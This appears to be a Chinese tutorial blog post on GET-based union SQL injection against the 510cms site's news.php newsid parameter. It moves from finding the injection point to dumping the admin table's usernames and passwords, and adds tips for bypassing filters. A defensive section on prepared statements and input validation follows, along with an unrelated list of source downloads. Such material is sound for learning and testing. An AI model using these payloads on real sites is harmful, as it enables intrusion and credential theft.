SQL注入之get(510cms)

一、查找是否存在SQL注入(注入点)

以510企业网站为例:
在这里插入图片描述

这里以漏洞参数id为例
?id=1id=1'进行测试,前提能够正常显示。
?id=1后面加上and 1=1两个结果都是真的,所以正常输出;
后面加上and 1=2如果正常输出,说明前后都是真的,则表示是字符型。反之是数值型
eg:

http://IP地址(域名)/news.php?cid=&listid=&newsid=24 and 1=1

二、查找有几列(字段)

后面加上order by数字即按第几列排序,从而得出有多少列
eg:

http://IP地址(域名)/news.php?cid=&listid=&newsid=24 order by 4

三、查看输出的是哪一列:

根据前面查出的字段数判断哪一列或哪几列输出显示

  • 注意前面的id=(数据库表中没有的值)
  • 若为数值型,后面加上一句and 1=2,保证union前面的句子值为false
    eg:
http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,3,4
http://IP地址(域名)/news.php?cid=&listid=&newsid=24 and 1=2 union select 1,2,3,4

四、查询数据库的一些信息

参数功能
version()获取数据库版本
@@version获取数据库版本
@@datadir获取数据库数据路径
database()获取数据库名
user()获取用户名

eg:

http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,database(),4

五、查询表名

通过select table_name from information_schema.tables where table_schema="数据库名"
eg:

http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,table_name,4 from information_schema.tables where table_schema="510cms"

六、查询字段名(列名)

在注入的时候可能会出现数据库本身的编码问题
如执行UNION 查询时,报错:Illegal mix of collations for operation 'UNION’
可以用 convert() 进行编码转换如:
如:group_concat(TABLE_NAME)

  • group_concat(convert(TABLE_NAME using gbk))
  • group_concat(convert(TABLE_NAME using latin1))
  • group_concat(convert(TABLE_NAME using binary))
  • group_concat(convert(TABLE_NAME using utf-8))
  • group_concat(convert(TABLE_NAME using utf8))

其中, Latin1 是 ISO-8859-1 的别名,有些环境下写作 Latin-1。ISO-8859-1 编码是单字节编码, 向下兼容 ASCII。
eg:这里是一次性输出所有字段名,字段间以逗号隔开

http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name="510_admin"

七、查询显示用户名和密码:

eg:

http://IP地址(域名)/news.php?cid=&listid=&newsid=1 union select 1,2,group_concat('name:',name,';passwd:',passwd),4 from 510_admin

有些情况from 数据库名.表名

总结

归根结底要具备数据库知识懂得数据库原理。
注意:
我们这里的例子是十分直接的,一般的题目是没这么直接的,
遇到--或者--+没有办法使用的时候,我们可以试试#
再比如有时候会有过滤。我们可以尝试双写或者大小写来绕过。

内容较大,权限不够,故将内容分为六个部分,需要的请自行下载。 教程版权归原作者所有,本人只是负责搜集整理,本人不承担任何技术及版权问题。教程仅提供学习参考,不得用于商业用途,请在下载后在24小时内删除。 目录: 0001-2科技发展有限公司升级版源码 0001科技发展有限公司修正版源码 0002机械配件制造销售公司修正版源码 0003家具地板公司修正版源码 0004-1机械有限公司修正版源码 0004机械有限公司修正版源码 0005机械产品公司修正版源码 0006绿色环保集团股份有限公司优化版 0007金属材料制品公司修正版源码 0008电气股份有限公司修正版源码 0009红色风格设备有限公司修正版源码 0010蓝色仪表配件有限公司优化版 0011装修公司网站系统修正版源码 0012环保工程企业网站修正版源码 0013国际集团股份有限公司修正版源码 0014蓝色汽车配件有限公司修正版源码 0015家俱集团有限公司源码 0016典雅地板家居网站源码 0017蓝色企业网站系统二 0018国际集团机械仪器公司修正版源码次优化版 0019红色风格企业网站系统优化版 0020机械设备公司修正版源码 0021蓝色环保工程企业网站系统修正版源码 0022国际集团电子科技公司修正版源码 0023国际集团机械电子公司修正版源码 0024美工超级漂亮的ASP卫生纸公司修正版源码 0025绿色环境保护工程公司修正版源码 0026绿色环保生态园林公司修正版源码 0028蓝色机械制造科技公司优化版 0029装修装饰公司企业网站修正版源码 0030绿色风格酒店网站修正版源码 0031机械制造网站修正版源码 0032蓝色机械制造公司修正版源码 0033机械设备制造公司修正版源码 0034ASP机械制造企业修正版源码 0035红色汽车配件公司网站修正版源码 0036机械制造企业修正版源码 0037机械设备公司修正版源码 0038浅蓝色电子科技公司修正版源码 0039机械制造公司企业网站修正版源码 0040国际集团机械有限公司修正版源码 0041机械设备公司优化版 0042机械企业修正版源码 0043机械设备有限公司修正版源码 0044红色机械设备有限公司修政版源码 0045汽车配件制造公司修正版源码 0046蓝色汽配公司修正版源码 0047绿色园林环保公司优化版 0048红色机械化工公司修正版源码 0049机械设备有限公司修正版源码 0051测试完整无错的经典万能企业站程序 0052某电气工程有限公司源码 0053优乐博特自动化工程有限公司网站源码
### 如何防止CMS中的SQL注入漏洞 #### 使用预处理语句和参数化查询 为了有效预防SQL注入攻击,推荐使用预处理语句(Prepared Statements)和参数化查询。这种方式能够确保用户输入的内容不会被解释为SQL代码的一部分,从而避免恶意构造的SQL指令被执行。 ```php $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username'); $stmt->execute(['username' => $_GET['user']]); ``` 这种方法通过将SQL逻辑与数据分离来增强安全性[^1]。 #### 输入验证和清理 对于所有来自外部的数据源,应该实施严格的输入验证机制。这不仅限于表单提交的数据,还包括URL参数、HTTP头信息以及其他任何形式的用户交互产生的数据。具体措施包括但不限于: - 对字符串长度设定合理范围; - 过滤掉特殊字符如`'`, `"`等可能引起SQL解析错误的符号; - 验证数值型字段确实只包含数字; - 利用正则表达式匹配预期模式。 #### 减少不必要的数据库权限 应用程序连接到数据库使用的账户应当遵循最小特权原则,即仅授予完成特定任务所需的最低限度的操作权限。例如,在大多数情况下,Web应用只需要读写某些指定表格的权利,而不需要拥有创建新表或修改现有结构的能力。 #### 更新补丁并保持软件最新状态 定期检查所使用的CMS平台及其插件是否存在已知的安全问题,并及时安装官方发布的安全更新包。许多历史上的SQL注入案例都是因为未能修补旧版程序中存在的缺陷而导致的。 #### 启用防火墙和其他防护手段 部署Web应用防火墙(WAF),它可以识别常见的攻击模式并对可疑请求加以拦截;同时考虑启用其他形式的应用层保护措施,比如基于行为分析的风险控制系统。 #### 日志记录与监控 建立健全的日志体系有助于追踪潜在威胁活动轨迹,一旦发生异常事件便能迅速定位原因所在。此外,持续性的性能监测同样重要,任何偏离正常水平的表现都可能是遭受入侵前兆。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值